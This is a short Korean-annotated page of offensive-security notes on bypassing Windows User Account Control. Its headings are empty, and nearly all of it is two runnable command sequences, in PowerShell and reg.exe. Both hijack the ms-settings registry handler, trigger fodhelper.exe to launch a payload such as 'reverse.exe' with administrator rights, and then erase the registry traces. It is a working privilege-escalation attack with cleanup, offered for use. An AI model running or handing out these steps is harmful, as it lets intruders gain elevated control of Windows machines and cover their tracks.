UAC Bypass
Abuse

Root Cause

Demo

References
Last updated



Last updated
# 레지스트리 키 생성
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force -ItemType Directory
# DelegateExecute 빈 값 추가
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -PropertyType String -Force
# 관리자 권한 동작 입력
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(default)" -Value "powershell.exe C:\Windows\Temp\update.exe"
# fodhelper.exe 실행
C:\windows\system32\fodhelper.exe
# 정리
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force# 레지스트리 키 생성
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /f
# DelegateExecute 빈 값 추가
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /t REG_SZ /d "" /f
# 관리자 권한 동작 입력
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /t REG_SZ /d "cmd.exe /c C:\Users\Mick3y\reverse.exe" /f
# fodhelper.exe 실행
C:\windows\system32\fodhelper.exe
# 정리
reg delete "HKCU\Software\Classes\ms-settings" /f